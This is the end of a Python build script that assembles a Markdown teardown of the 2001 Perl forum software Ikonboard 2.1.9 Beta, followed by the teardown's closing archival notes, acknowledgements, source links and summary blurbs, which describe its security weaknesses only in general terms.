        remap = {}

        for i, line in enumerate(lines):
            if i in fenced or not line.startswith('#'):
                out.append(line)
                continue
            hm = re.match(r'(#+)\s+(.*)$', line)
            if not hm:
                out.append(line)
                continue
            level, title = len(hm.group(1)), hm.group(2).strip()

            if level == 1 and not seen_title:
                seen_title = True
                # Chapter files title themselves variously: "04 - Script
                # Reference", "Ikonboard 2.1.9 Beta - History", "Architecture
                # -- How It Worked". Strip the bookkeeping prefix and any
                # trailing gloss so the assembled outline reads cleanly.
                title = re.sub(r'^\d{2}\s*[----:]\s*', '', title)
                title = re.sub(r'^Ikonboard 2\.1\.9( Beta)?\s*[----:]\s*', '',
                               title)
                title = re.split(r'\s+[----]{1,2}\s+', title)[0].strip()
                out.append('## %s. %s' % (num, title))
                continue

            # A chapter that uses level-1 headings for its internal groups
            # (rather than just for its title) would otherwise land those
            # groups at the same level as chapter titles. Push them to 3 so
            # they read as subsections; everything else drops one level.
            new_level = 3 if level == 1 else min(level + 1, 6)

            # Renumber a chapter-local "3. Foo" to "8.3 Foo" so section
            # numbers are unique across the assembled document. Applies to
            # any heading landing at level 2 or 3, whichever level the
            # chapter happened to write it at.
            nm = re.match(r'(\d+)\.\s+(.*)$', title)
            if nm and new_level <= 3:
                new_title = '%s.%s %s' % (num, nm.group(1), nm.group(2))
                remap[slug(title)] = slug(new_title)
                # Also record it globally under a hyphen-run-collapsed key,
                # so fix_anchors() can resolve links written against the
                # original numbering regardless of how the anchor was spelled.
                RENUMBERED[re.sub(r'-+', '-', slug(title)).strip('-')] = \
                    slug(new_title)
                title = new_title

            out.append('%s %s' % ('#' * new_level, title))

        body = strip_frontmatter('\n'.join(out).strip('\n'))
        if remap:
            body = re.sub(
                r'\]\(#([\w-]+)\)',
                lambda m: '](#%s)' % remap.get(m.group(1), m.group(1)),
                body)
        return body

    text = re.sub(r'<!--\s*CHAPTER:(\d+):([^>]+?)-->', sub, text)

    # <!--INCLUDE:file.md--> drops a file in verbatim, for prose that already
    # carries correctly-levelled headings of its own.
    def raw(m):
        name = m.group(1).strip()
        return open(os.path.join(HERE, name), encoding='utf-8').read().strip('\n')

    return re.sub(r'<!--\s*INCLUDE:([^>]+?)-->', raw, text)


def scrub_paths(text):
    """Rewrite the local tree root to a neutral relative path.

    Chapter drafts cite the tree wherever it happened to be unpacked. The
    published document should read the same for everyone, so the absolute
    root is normalized to `ib219/` on the way out and separators are
    flipped to forward slashes.
    """
    root = os.path.basename(os.path.dirname(HERE))       # e.g. "ib219"
    # <drive>:\...\ib219\ -> ib219/
    #
    # Only backslash-separated paths are rewritten. Matching forward slashes
    # too would eat URLs -- in "https://archive.org/details/ib219" the "s:"
    # reads as a drive letter -- so the leading lookbehind rejects a letter
    # preceded by another word character, and the separator must be "\".
    text = re.sub(r'(?<![A-Za-z0-9])[A-Za-z]:\\(?:[^\s`"\'<>|]+?\\)*?'
                  + re.escape(root) + r'\\?', root + '/', text)
    # The substitution above rewrites only as far as the root, so a deeper
    # path keeps its native separators ("ib219/cgi-bin/"). Flip those too.
    text = re.sub(r'\b' + re.escape(root) + r'/([\w.\-]+(?:\\[\w.\-]*)+)',
                  lambda m: root + '/' + m.group(1).replace('\\', '/'), text)
    return re.sub(r'\b' + re.escape(root) + r'/((?:[\w.\-]+/)*)\\',
                  lambda m: root + '/' + m.group(1), text)


def americanize(text):
    holes = {}
    for i, k in enumerate(KEEP):
        token = '\x00KEEP%d\x00' % i
        if k in text:
            holes[token] = k
            text = text.replace(k, token)
    for a, b in US:
        text = text.replace(a, b)
    for token, k in holes.items():
        text = text.replace(token, k)
    return text


def to_ascii(text):
    for a, b in ASCII_FOLD:
        text = text.replace(a, b)
    bad = sorted({ch for ch in text if ord(ch) > 126})
    if bad:
        # Report by codepoint -- printing the characters themselves would
        # itself fail on a cp1252 console, which is the whole reason the
        # output is folded to ASCII in the first place.
        print('WARNING: non-ASCII left in output: %s' % ', '.join(
            'U+%04X' % ord(ch) for ch in bad))
    return text


def fix_anchors(text):
    """Reconcile internal links against the final heading set.

    Anchors are computed from heading text, and heading text is rewritten
    several times on the way through this builder (chapter renumbering,
    then the ASCII fold, which turns an em dash into two hyphens). Rather
    than try to keep every intermediate form in step, resolve links once at
    the end: match on a form with hyphen runs collapsed, which is stable
    across all of those rewrites.
    """
    def norm(a):
        return re.sub(r'-+', '-', a).strip('-')

    lines = text.split('\n')
    fenced = fence_spans(lines)
    index = {}
    for i, line in enumerate(lines):
        if i in fenced:
            continue
        m = re.match(r'#{2,6}\s+(.*)$', line)
        if m:
            a = slug(m.group(1).strip())
            index.setdefault(norm(a), a)

    unresolved = []

    def sub(m):
        want = m.group(1)
        if norm(want) in index:
            return '](#%s)' % index[norm(want)]
        # Fall back to the chapter-renumbering map for links that still
        # point at a heading's original, pre-assembly number.
        target = RENUMBERED.get(norm(want))
        if target and norm(target) in index:
            return '](#%s)' % index[norm(target)]
        unresolved.append(want)
        return m.group(0)

    text = re.sub(r'\]\(#([\w-]+)\)', sub, text)
    for a in sorted(set(unresolved)):
        print('CHECK: unresolved internal link -> #%s' % a)
    return text


def check(text):
    """Guard against leaking local paths or unexpanded markers.

    Fenced code is exempt: this builder's own source is embedded in the
    document, and it necessarily contains both the marker syntax and the
    patterns used to detect it.
    """
    lines = text.split('\n')
    fenced = fence_spans(lines)
    problems = []
    for pat, why in [
        (r'[A-Za-z]:\\\\?(?:Mike|Users|_git)', 'local Windows path'),
        (r'CLAUDE_JOB_DIR', 'job temp path'),
        (r'<!--\s*CODE:', 'unexpanded CODE marker'),
        (r'<!--\s*CHAPTER:', 'unexpanded CHAPTER marker'),
        (r'<!--\s*INCLUDE:', 'unexpanded INCLUDE marker'),
    ]:
        for m in re.finditer(pat, text):
            line = text.count('\n', 0, m.start()) + 1
            if (line - 1) in fenced:
                continue
            problems.append('line %d: %s (%s)' % (line, why, m.group(0)))

    # Every fence must close. A stray run inside an embedded script would
    # otherwise silently turn the rest of the document into a code block in
    # any line-oriented highlighter.
    depth, opened = 0, None
    for i, l in enumerate(lines, 1):
        if re.match(r'\s*' + TICK + '{3,}', l):
            if depth == 0:
                depth, opened = 1, i
            else:
                depth = 0
    if depth:
        problems.append('line %d: code fence opened and never closed' % opened)

    # Belt and braces: an odd total of triple-backtick runs means some
    # highlighters will lose track even though the fences themselves pair up.
    if text.count(TICK * 3) % 2:
        problems.append('odd number of %s runs (%d) -- naive highlighters '
                        'will mis-render the tail'
                        % (TICK * 3, text.count(TICK * 3)))

    # Prose cross-references ("see section 8") are written by hand against a
    # numbering this builder assigns, so they go stale whenever chapters are
    # reordered. Check every one against the headings that actually exist.
    sections = {m.group(1) for m in re.finditer(r'(?m)^##\s+(\d+)\.\s', text)}
    for i, l in enumerate(lines, 1):
        if i - 1 in fenced:
            continue
        for m in re.finditer(r'\bsections?\s+(\d+)', l, re.I):
            if m.group(1) not in sections:
                problems.append('line %d: cross-reference to section %s, '
                                'which does not exist (have %s)'
                                % (i, m.group(1),
                                   ','.join(sorted(sections, key=int))))
    return problems


def main():
    args = [a for a in sys.argv[1:] if not a.startswith('--')]
    out = args[0] if args else DEFAULT_OUT
    text = open(SRC, encoding='utf-8').read()
    # Chapters first: they may themselves contain CODE markers.
    text = to_ascii(americanize(scrub_paths(expand(include_chapters(text)))))
    text = fix_anchors(text)

    for p in check(text):
        print('CHECK: %s' % p)

    lines = text.count('\n') + 1
    targets = [out]
    # `--txt` also writes a byte-identical .txt twin. Web servers have no mime
    # mapping for .md, so it is served as application/octet-stream and browsers
    # download it instead of displaying it; .txt is text/plain everywhere,
    # which is what makes it viewable inline with no server configuration.
    if '--txt' in sys.argv:
        targets.append(os.path.splitext(out)[0] + '.txt')
    for path in targets:
        open(path, 'w', encoding='utf-8').write(text)
        print('%s: %d lines, %.0f KB' % (
            path, lines, len(text.encode()) / 1024))


if __name__ == '__main__':
    main()
```

---

## 12. About this teardown

This is archival work. Ikonboard 2.1.9 Beta has not been hosted anywhere in
roughly twenty-five years, ikonboard.com is gone, and the company that made it
no longer exists. Nothing in this document describes an attack on a live
system, because there is no live system. The security chapter is written the
way it is because the interesting question about software this old is not
*"can it be exploited"* -- everything can, and 2001 knew far less than we do --
but *"what did the state of the art actually look like, and which of these
mistakes did the industry have to make before it learned"*.

The answer turns out to be: most of them. Plaintext passwords in a cookie,
Referer headers as CSRF protection, a blocklist sanitizer, configuration files
that are executable code, and `flock` calls that lock a file after truncating
it. Every one of those has a modern countermeasure that exists *because* of
software like this. That lineage is the point.

It is also worth saying plainly that Ikonboard was good at its job. It ran on
hosting that offered nothing but a cgi-bin, it installed in ten minutes, its
installer diagnosed its own failures better than most software does now, and
tens of thousands of communities ran on it. The parts of it that look
indefensible today were, in 2001, either normal practice or a considered
trade-off against constraints that no longer exist.

### What is uncertain

Anything inferred rather than observed is marked as such in the text. The two
significant open questions:

- **Who made the September 2001 edit.** Very likely ikonboard.com. The `.bak`
  files prove the tree was assembled there, and the copy was in a downloader's
  hands by early November 2001 already carrying the fix -- which is what a
  maintained download looks like, and what `help.html` says the project did.
  What is *not* proven is that the vendor typed this specific patch into this
  specific zip; a third party could in principle have re-issued a patched copy.
  Section 8 lays out both sides.
- **Where this particular copy was fetched from.** ikonboard.com directly, or a
  mirror? Nothing in the tree distinguishes them, and a mirror would in any
  case have served whatever the project published.
- **The relationship between the credited dev team and the file headers.**
  Every script says "All files written by Matthew Mecham" while the changelog
  credits LarryC, Peter and SmileyMan for specific 2.1.9 fixes. The headers
  were evidently never updated; how the work was actually divided is not
  recoverable from the source.

Where a claim rests on a web source rather than on the archive, the URL is
cited inline.

### Acknowledgements

**FieRcE YeD** -- for keeping the zip. This document exists because a copy of
Ikonboard 2.1.9 survived twenty-five years in a personal backup and was
uploaded rather than deleted, which is the entire mechanism by which anything
from this era still exists. Preservation is mostly just somebody not throwing
something away.

The connection is not incidental. **Final Fantasy Fanatic**, FieRcE YeD's
forum, ran on this exact software. A reconstruction of that board is readable
at <https://doors98.com/forum-ib219/> -- and to be exact about what that is, it
is **static HTML rebuilt from Wayback Machine captures**, not a running
Ikonboard. None of the board's flat-file data survives. What survives is the
output: pages the software produced while it was still up, scraped back out of
a web archive years later.

Which is part of why the specification in section 5 is worth having. Those
captures are the only remaining evidence of that board, and everything behind
them -- the pipe-delimited member records, the `pips*.gif` rank ladder, the
emoticon substitution, the iB-code parser -- is documented here from the code
that generated them. This is the manual for a specific dead forum as much as
it is a general one.

**doors98.com** is a Windows 98 desktop rebuilt in a browser -- a parody, an
archive, and a place to put things that no longer have anywhere to live. It
already hosts recoveries from this same era and scene, including the Final
Fantasy Fanatic and ffoncrack.com forum archives and several Games Factory and
Multimedia Fusion applications rescued from the same backup.

### Where things live

| | |
|---|---|
| The 2.1.9 distribution -- June 2001 release plus the vendor's September patch | <https://archive.org/details/ib219> |
| This document, raw | <https://doors98.com/misc/ikonboard-2.1.9-teardown.txt> |
| This document, as Markdown | <https://doors98.com/misc/ikonboard-2.1.9-teardown.md> |
| This document, on the desktop | <https://doors98.com/misc/ikonboard-2.1.9-teardown> |
| Final Fantasy Fanatic -- a board that ran it, rebuilt as static HTML from Wayback captures | <https://doors98.com/forum-ib219/> |
| Other recovered software from this era | <https://archive.org/details/@fierceyed> |

(The two copies are byte-identical. Web servers have no mime mapping for
`.md`, so that one is sent as `application/octet-stream` and browsers download
it instead of showing it; the `.txt` is `text/plain` everywhere and renders
inline. The document is written in Markdown and kept pure ASCII so it reads
correctly either way. The `.md` is the canonical copy to link and mirror; the
`.txt` is the one to read in a browser.)

### Corrections

Ikonboard's own community is the only remaining source for a great deal of
this, and much of it was never written down anywhere but a support forum that
no longer exists. If you were on the Ikonboard 2 dev team, ran a board on
2.1.x, know what the 2.1.8r2 security fixes actually were, or have a copy of a
version this archive lacks: corrections and additions are genuinely welcome.

Rights holders named in this document who want something removed should say
so.

A web bulletin board written in Perl and distributed as CGI scripts, released 7 June 2001. It stores all state in flat pipe-delimited text files rather than a database, generates its own configuration as executable Perl, and authenticates by writing the member's plaintext password to a cookie that is re-validated on every request. It ran on any shared host offering a cgi-bin and Perl 5.005, which is why boards like it were everywhere between 1999 and 2003. FinalFantasyFanatic.com ran this exact release.

A complete teardown of Ikonboard 2.1.9 Beta (Matthew Mecham, June 2001), the Perl CGI forum software that ran FinalFantasyFanatic.com: the flat-file architecture, all 32 scripts and 48 action endpoints, every on-disk record format field by field, 23 security findings measured against modern standards, the authorship and Invision Power Board lineage, and the September 2001 patch for the Unix billion-second rollover.

Ikonboard 2.1.9 is 15,526 lines of Perl across 34 files, with no database, no framework and HTML embedded in string literals. This teardown documents all of it from the source: the CGI request model, the configuration files that are themselves executable Perl regenerated by the admin screens, the denormalized sort cache that made forum listings fast, and the flock calls that are taken after a truncating open and therefore protect nothing. Every on-disk record is specified field by field so a dead board can be recovered from its files alone. The security chapter catalogs 23 findings, three critical, including plaintext passwords carried in a cookie as the entire session model, a CSRF check that logs violations and then processes the request anyway, and an installer that remains unauthenticated after setup and will mint a new administrator on request; CVE-2001-0841 names this exact release and is unpatched in it. The archaeology chapter dates the surviving copy from its own file timestamps: ikon.lib carries an mtime of epoch 1000009398, two hours and thirty-six minutes after Unix time first reached ten digits on 9 September 2001, and its three-line diff against its own backup is the fix for exactly that event, because the software sorted topics by comparing timestamps as strings. The file that fixes the ten-digit timestamp bug is stamped with the first ten-digit timestamp.